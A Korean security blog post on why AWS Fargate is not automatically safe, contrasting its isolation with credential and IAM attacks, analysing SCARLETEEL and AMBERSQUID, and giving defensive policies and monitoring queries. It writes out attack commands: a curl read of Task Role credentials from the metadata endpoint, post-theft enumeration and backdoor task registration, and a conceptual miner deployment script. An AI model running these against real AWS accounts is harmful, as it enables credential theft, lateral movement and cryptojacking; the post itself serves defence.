Fargate는 정말 안전한가: “서버리스 = 안전”이라는 착각을 해체하다

이군·2026년 4월 16일

Fargate는 컨테이너 탈출을 막고, IMDS 격리를 제공한다. 하지만 공격자는 인프라가 아니라 크리덴셜을 통해 침투한다. SCARLETEEL은 Fargate 컨테이너임을 자동 감지하고 맞춤형 크리덴셜 탈취 스크립트를 실행했고, AMBERSQUID는 탈취한 IAM 크리덴셜로 Fargate에 직접 악성 Task를 배포했다. Fargate가 EC2보다 안전한 것은 사실이지만, “안전하다”와 “충분히 안전하다”는 다른 이야기다.

Fargate가 정말로 차단하는 것들

먼저 공정하게, Fargate가 제공하는 보안 이점을 인정하자. 이것들은 실질적이며 중요하다.

EC2 대비 제거되는 공격표면

┌────────────────────────────────┬────────┬─────────┐
│ 공격 벡터                       │ EC2    │ Fargate │
├────────────────────────────────┼────────┼─────────┤
│ ECScape (Cross-Task 탈취)       │ ✅ 가능 │ ❌ 불가  │
│ IMDS → Node Role 탈취           │ ✅ 가능 │ ❌ 불가  │
│ 컨테이너 탈출 → 호스트 접근      │ ✅ 가능 │ ❌ 불가  │
│ privileged 모드                 │ ✅ 가능 │ ❌ 불가  │
│ hostNetwork / hostPID           │ ✅ 가능 │ ❌ 불가  │
│ EC2 Self-Registration           │ ✅ 가능 │ ❌ 불가  │
│ ECS Agent 내부 프로토콜 악용     │ ✅ 가능 │ ❌ 불가  │
│ 같은 호스트의 다른 Task 간섭     │ ✅ 가능 │ ❌ 불가  │
└────────────────────────────────┴────────┴─────────┘

Fargate의 핵심 보안 원리는 마이크로VM 격리다. 각 task가 독립된 마이크로VM에서 실행되므로, 호스트를 공유하는 데서 비롯되는 모든 공격 벡터가 원천 차단된다. IMDS도 task별로 격리되어 있어 다른 task의 메타데이터에 접근할 수 없다.

또한 Fargate는 다음과 같은 하드닝을 기본 적용한다.

  • privileged 컨테이너 실행 불가
  • 호스트 네임스페이스(network, PID, IPC) 공유 불가
  • Linux capabilities 추가 불가
  • 컨테이너 런타임(runc, containerd) 취약점에 대한 패치는 AWS 책임

이것만으로도 이 시리즈에서 다룬 공격의 상당수가 차단된다. 만약 여기서 글이 끝난다면, “Fargate로 전환하면 안전하다”는 결론이 맞을 것이다. 하지만 현실의 공격자들은 다른 경로를 찾았다.

Fargate에서 여전히 유효한 공격표면

Fargate가 차단하는 것은 인프라 레벨의 공격이다. 하지만 공격의 다른 축인 크리덴셜과 IAM은 Fargate에서도 동일하게 존재한다.

공격표면 1: Task Role 크리덴셜 탈취

Fargate에서도 컨테이너 내부에서 Task Role 크리덴셜에 접근하는 방식은 동일하다.

# Fargate 컨테이너 내부에서 실행
# Task Metadata Service를 통한 크리덴셜 접근

curl http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI

# 응답:
# {
#   "AccessKeyId": "ASIA...",
#   "SecretAccessKey": "...",
#   "Token": "...",
#   "Expiration": "2026-04-15T12:00:00Z",
#   "RoleArn": "arn:aws:iam::123456789012:role/my-fargate-task-role"
# }

공격자가 Fargate 컨테이너에 RCE를 확보하면(웹앱 취약점, 악성 의존성 등), Task Role의 크리덴셜을 즉시 탈취할 수 있다. EC2와의 차이는 자기 자신의 Task Role만 탈취 가능하다는 점이다. ECScape처럼 다른 task의 크리덴셜까지 가져오는 것은 불가.

하지만 그 하나의 Task Role이 과도한 권한을 갖고 있다면?

공격표면 2: 탈취한 크리덴셜을 통한 횡이동

Fargate에서 탈취한 크리덴셜의 횡이동 경로는 EC2와 완전히 동일하다.

# 탈취한 크리덴셜로 AWS 환경 열거
aws sts get-caller-identity
aws s3 ls
aws secretsmanager list-secrets
aws ecs list-clusters
aws ecs list-task-definitions
aws lambda list-functions

# 크로스어카운트 접근 시도
aws sts assume-role --role-arn arn:aws:iam::OTHER_ACCOUNT:role/cross-role

# 새로운 Task Definition 생성 + 악성 Task 배포
aws ecs register-task-definition --family backdoor --container-definitions '...'
aws ecs run-task --cluster prod --task-definition backdoor --launch-type FARGATE

Task Role에 ecs:RunTask + iam:PassRole 권한이 있다면, 공격자는 탈취한 크리덴셜로 새로운 Fargate task를 직접 배포할 수 있다. 이것은 인프라 격리와 무관한 IAM 레벨의 공격이다.

공격표면 3: Supply Chain 공격

컨테이너 이미지 자체가 오염되면 Fargate의 런타임 보안은 의미가 없다. 빌드 단계에서 악성 코드가 주입되면, Fargate가 아무리 격리해도 정상 Task로서 악성 행위를 수행한다.

공격표면 4: ECS Exec / SSM 경로

2편에서 다룬 ECS Exec의 SSM 로깅 우회는 Fargate에서도 동일하게 적용된다. ssm:StartSession을 직접 호출하면 ECS Exec 감사 로그를 우회할 수 있으며, 실행되는 명령은 root로 동작한다.

실전 사례 분석: Fargate를 노린 위협 그룹들

SCARLETEEL — “Fargate인 걸 알고 있다”

SCARLETEEL은 Sysdig이 2023년 2월에 처음 보고하고, 이후 지속적으로 진화하는 것이 관찰된 위협 그룹이다. 크립토마이닝과 IP 탈취를 병행하며, AWS 환경에 대한 깊은 이해를 보여준다.

SCARLETEEL 2.0(2023년 7월)에서 가장 주목할 점은 크리덴셜 탈취 스크립트가 Fargate 환경을 자동 감지한다는 것이다.

[SCARLETEEL 크리덴셜 탈취 스크립트의 동작]

1. 환경 감지
   · IMDSv1 접근 시도 → 성공하면 EC2 경로
   · IMDSv2 토큰 요청 → 설정에 따라 성공/실패
   · 파일시스템에서 크리덴셜 파일 탐색
   · Docker 컨테이너 내부 탐색
   · 💀 Fargate 환경 감지 시 맞춤형 명령 실행

2. 크리덴셜 수집
   · 수집된 크리덴셜을 Base64 인코딩
   · C2 서버(러시아 IP)로 전송
   · curl/wget 대신 shell built-in 사용 → 탐지 우회

3. 횡이동
   · Pacu로 20개 이상의 권한 상승 경로 자동 평가
   · Peirates로 Kubernetes 환경 탐색 (EKS Fargate인 경우)
   · AWS CLI → 러시아 S3 호환 서버로 데이터 전송
     (--endpoint-url 옵션으로 CloudTrail 우회)

SCARLETEEL의 킬체인에서 Fargate는 경유지다. Fargate 컨테이너를 침투한 뒤, Task Role 크리덴셜을 탈취하고, 이를 발판으로 더 넓은 AWS 환경으로 횡이동한다. IAM 정책의 실수(한 글자 오타)로 AdministratorAccess까지 에스컬레이션한 사례도 보고되었다.

핵심 교훈: Fargate가 컨테이너 탈출을 막아도, 공격자는 컨테이너 안에서 충분히 많은 것을 할 수 있다. 그들의 목표는 호스트가 아니라 크리덴셜이다.

AMBERSQUID — “사람들이 안 보는 서비스를 노린다”

AMBERSQUID는 Sysdig이 2023년 9월에 발견한 크립토재킹 캠페인으로, 인도네시아 공격자 그룹으로 추정된다. 이 캠페인의 전략은 명확하다. 보안팀이 잘 모니터링하지 않는 AWS 서비스에 마이너를 배포하는 것.

[AMBERSQUID 타겟 서비스]

· AWS Amplify — 앱 빌드 과정에서 마이너 실행
· AWS Fargate — ECS Task로 마이너 배포
· Amazon SageMaker — 노트북에서 마이너 실행
· AWS CodeBuild — 빌드 명령에 마이너 삽입
· AWS CloudFormation — IaC 템플릿으로 마이너 프로비저닝

Fargate를 타겟으로 한 공격 흐름은 이렇다.

# AMBERSQUID의 Fargate 공격 스크립트 (개념)

# 1. ecsTaskExecutionRole에 필요한 권한 부여
aws iam attach-role-policy \
  --role-name ecsTaskExecutionRole \
  --policy-arn arn:aws:iam::aws:policy/AmazonECSTaskExecutionRolePolicy

# 2. 악성 Task Definition 등록
# 이미지: delbidaluan/epicx (DockerHub의 마이너 이미지)
# 리소스: 2 vCPU, 4GB RAM
# 호환성: FARGATE
aws ecs register-task-definition \
  --family mining-task \
  --requires-compatibilities FARGATE \
  --cpu 2048 --memory 4096 \
  --container-definitions '[{
    "name": "miner",
    "image": "delbidaluan/epicx",
    "cpu": 2048,
    "memory": 4096
  }]'

# 3. Fargate 서비스 생성 (desiredCount: 30)
# vCPU 쿼터에 따라 인스턴스 수 조절
aws ecs create-service \
  --cluster mining-cluster \
  --service-name mining-svc \
  --task-definition mining-task \
  --desired-count 30 \
  --launch-type FARGATE

AMBERSQUID가 보여주는 것: Fargate의 마이크로VM 격리는 이미 IAM 크리덴셜을 가진 공격자에게는 장벽이 아니다. 공격자는 Fargate를 “안전하게” 사용한 것이 아니라, Fargate 위에 “안전하게” 마이너를 배포한 것이다. 보안팀이 EC2만 모니터링하는 사이에.

2025년 11월 크립토마이닝 캠페인 — “EC2와 Fargate 동시 타겟”

AWS GuardDuty가 2025년 11월에 발견한 캠페인은 EC2와 ECS Fargate를 동시에 공격했다.

[공격 타임라인]

0분: IAM 크리덴셜 탈취
2분: EC2 서비스 쿼터 확인 (DryRun)
5분: ECS 클러스터 50개+ 생성
7분: RegisterTaskDefinition (악성 DockerHub 이미지)
8분: Fargate 서비스 생성 → 마이너 배포
10분: EC2 인스턴스 대량 생성 + disableApiTermination
      → 크립토마이너 가동 시작

결과: 10분 만에 EC2 + Fargate 양쪽에서 마이닝 시작

이 캠페인에서 Fargate는 EC2의 보완재로 사용되었다. EC2 서비스 쿼터에 도달하면 Fargate로 넘어가고, 두 서비스를 함께 사용해 채굴 가능한 컴퓨팅 리소스를 최대화했다.

EC2 vs Fargate: 공격표면 최종 비교

┌──────────────────────┬──────────────────────┬───────────────────┐
│ 공격 카테고리          │ ECS on EC2           │ ECS on Fargate    │
├──────────────────────┼──────────────────────┼───────────────────┤
│ 인프라 공격           │                      │                   │
│ · 컨테이너 탈출       │ ✅ 가능              │ ❌ AWS 책임        │
│ · IMDS 노드 크리덴셜  │ ✅ 기본 접근 가능     │ ❌ Task별 격리     │
│ · Cross-Task 탈취     │ ✅ ECScape           │ ❌ 마이크로VM 격리  │
│ · privileged 모드     │ ✅ 설정 가능          │ ❌ 차단됨          │
├──────────────────────┼──────────────────────┼───────────────────┤
│ 크리덴셜 공격         │                      │                   │
│ · Task Role 탈취      │ ✅ 가능              │ ✅ 동일하게 가능   │
│ · 횡이동              │ ✅ 가능              │ ✅ 동일하게 가능   │
│ · IAM 에스컬레이션    │ ✅ 가능              │ ✅ 동일하게 가능   │
├──────────────────────┼──────────────────────┼───────────────────┤
│ 배포/관리 공격        │                      │                   │
│ · Task Def 백도어     │ ✅ 가능              │ ✅ 동일하게 가능   │
│ · 악성 Task 배포      │ ✅ 가능              │ ✅ 동일하게 가능   │
│ · SSM 로깅 우회       │ ✅ 가능              │ ✅ 동일하게 가능   │
│ · Supply Chain 공격   │ ✅ 가능              │ ✅ 동일하게 가능   │
├──────────────────────┼──────────────────────┼───────────────────┤
│ 탐지 난이도           │ 런타임 모니터링 가능   │ 런타임 가시성 제한 │
│                      │ (eBPF, Falco 등)      │ (AWS 관리 인프라)  │
└──────────────────────┴──────────────────────┴───────────────────┘

이 표에서 보이는 패턴: 빨간색(가능) 항목의 절반 이상이 Fargate에서도 동일하게 가능하다. Fargate가 차단하는 것은 인프라 레벨 공격이고, 크리덴셜/IAM/배포 레벨 공격은 그대로 남는다.

Fargate의 역설: 보안은 높아지고, 가시성은 낮아진다

Fargate에는 잘 알려지지 않은 보안 트레이드오프가 있다.

런타임 가시성의 제한

EC2 Launch Type에서는 호스트에 보안 에이전트(Falco, Datadog Agent, Sysdig 등)를 설치해 eBPF 기반의 세밀한 런타임 모니터링이 가능하다. 프로세스 생성, 파일 접근, 네트워크 연결 등을 실시간으로 관찰할 수 있다.

Fargate에서는 호스트에 대한 접근이 없으므로 이런 에이전트를 설치할 수 없다. 보안 모니터링은 사이드카 컨테이너로 제한되며, eBPF 기반 깊은 커널 레벨 모니터링은 불가능하다.

Datadog이 2024년에 Fargate용 Cloud Security를 출시한 것도 이런 가시성 격차를 메우기 위해서다. 하지만 EC2에서의 모니터링 깊이에는 미치지 못한다.

SCARLETEEL의 탐지 우회

SCARLETEEL은 이 가시성 제한을 알고 있었다. 크리덴셜 탈취 시 curl이나 wget 대신 shell built-in 함수를 사용해 데이터를 전송했다. 많은 보안 도구가 curl과 wget 실행을 시그니처로 탐지하는데, shell built-in은 이 필터를 우회한다.

또한 AWS CLI의 --endpoint-url 옵션으로 데이터를 러시아의 S3 호환 서버로 전송하여, CloudTrail에 S3 이벤트가 기록되지 않도록 했다. 정상 AWS S3 API 호출이 아니기 때문이다.

Fargate 환경의 방어 전략

Fargate가 인프라 보안을 제공한다면, 고객은 크리덴셜/IAM/배포 보안에 집중해야 한다.

1. Task Role 최소 권한 — 이것이 Fargate 보안의 90%

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": ["s3:GetObject"],
      "Resource": ["arn:aws:s3:::my-app-bucket/data/*"]
    }
  ]
}

EC2에서는 Task Role 외에 Node Role, ECScape 등 다른 크리덴셜 경로가 있었다. Fargate에서는 Task Role이 유일한 AWS 접근 경로이므로, 이 역할의 권한이 곧 blast radius다.

절대 포함하면 안 되는 권한 목록:

· ecs:RunTask, ecs:RegisterTaskDefinition → 악성 Task 배포 가능
· iam:* → 권한 상승 가능
· sts:AssumeRole (광범위) → 크로스어카운트 횡이동
· s3:* → 전체 버킷 접근
· secretsmanager:GetSecretValue (Resource: *) → 전체 시크릿 유출

2. 네트워크 격리

# Fargate Task의 Security Group — 최소 아웃바운드
resource "aws_security_group" "fargate_task" {
  name   = "fargate-task-sg"
  vpc_id = var.vpc_id

  # 인바운드: ALB에서만 허용
  ingress {
    from_port       = 8080
    to_port         = 8080
    protocol        = "tcp"
    security_groups = [aws_security_group.alb.id]
  }

  # 아웃바운드: 필요한 서비스만 허용
  egress {
    from_port   = 443
    to_port     = 443
    protocol    = "tcp"
    cidr_blocks = ["0.0.0.0/0"]  # HTTPS만 허용
    description = "AWS API + 외부 서비스"
  }

  # 크립토마이너 통신 차단에 효과적
  # 마이닝 풀은 보통 비표준 포트 사용
}

VPC 엔드포인트를 사용하면 인터넷 게이트웨이 없이도 AWS 서비스에 접근 가능하므로, 아웃바운드를 더 제한할 수 있다.

3. 이미지 보안 — 빌드 타임 방어

# ECR 이미지 스캔 + 이뮤터블 태그 필수
resource "aws_ecr_repository" "app" {
  name = "my-app"

  image_scanning_configuration {
    scan_on_push = true
  }

  image_tag_mutability = "IMMUTABLE"  # 같은 태그로 덮어쓰기 차단
}
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "DenyUntrustedRegistries",
      "Effect": "Deny",
      "Action": "ecs:RegisterTaskDefinition",
      "Resource": "*",
      "Condition": {
        "ForAnyValue:StringNotLike": {
          "ecs:container-image": [
            "ACCOUNT_ID.dkr.ecr.REGION.amazonaws.com/*"
          ]
        }
      }
    }
  ]
}

SCARLETEEL과 AMBERSQUID 모두 DockerHub의 공개 이미지를 사용했다. ECR의 프라이빗 이미지만 허용하면 이런 공격 경로를 차단할 수 있다.

4. CloudTrail + GuardDuty 집중 모니터링

Fargate에서는 호스트 레벨 모니터링이 제한되므로, AWS API 레벨 모니터링이 더욱 중요하다.

-- Fargate 관련 비정상 활동 탐지
fields @timestamp, eventName, sourceIPAddress, userIdentity.arn
| filter eventSource = "ecs.amazonaws.com"
| filter eventName in [
    "RegisterTaskDefinition",
    "RunTask",
    "CreateService",
    "CreateCluster"
  ]
| filter sourceIPAddress not like /^10\./  -- VPC 외부 호출
| sort @timestamp desc
| limit 100
# GuardDuty ECS Runtime Monitoring 활성화
# Fargate 환경의 런타임 위협 탐지
aws guardduty update-detector \
  --detector-id DETECTOR_ID \
  --features '[{
    "Name": "ECS_RUNTIME_MONITORING",
    "Status": "ENABLED",
    "AdditionalConfiguration": [{
      "Name": "ECS_ADDON_MANAGEMENT",
      "Status": "ENABLED"
    }]
  }]'

5. 비정상 CPU/메모리 사용 모니터링

크립토마이닝의 가장 확실한 지표는 CPU 사용량 급증이다.

# CloudWatch Alarm: Fargate Task CPU 이상 사용 탐지
aws cloudwatch put-metric-alarm \
  --alarm-name "Fargate-HighCPU" \
  --metric-name CPUUtilization \
  --namespace AWS/ECS \
  --statistic Average \
  --period 300 \
  --threshold 80 \
  --comparison-operator GreaterThanThreshold \
  --evaluation-periods 2 \
  --dimensions Name=ClusterName,Value=production

“서버리스 = 안전”이 아닌 이유

Fargate는 인프라 보안을 AWS에 위임한다. 이것은 실질적인 보안 향상이다. 하지만 공격자의 주요 목표는 인프라가 아니라 크리덴셜, 데이터, 권한이다. 이것들은 Fargate든 EC2든 동일하게 존재한다.

SCARLETEEL이 증명한 것: 서버리스 환경에서도 크리덴셜을 훔칠 수 있고, 횡이동할 수 있으며, 데이터를 유출할 수 있다. 공격자는 런타임 환경이 EC2인지 Fargate인지 자동으로 감지하고 전략을 조정한다.

참고 자료

profile
이군
이군의 보안, 그리고 생각을 다룹니다.
이전 포스트

ECS의 숨겨진 공격표면 5가지

다음 포스트

Istio 사이드카는 보안 경계가 아닙니다 — UID 1337, CAP_NET_ADMIN, 그리고 공격자가 먼저 알고 있는 것들

0개의 댓글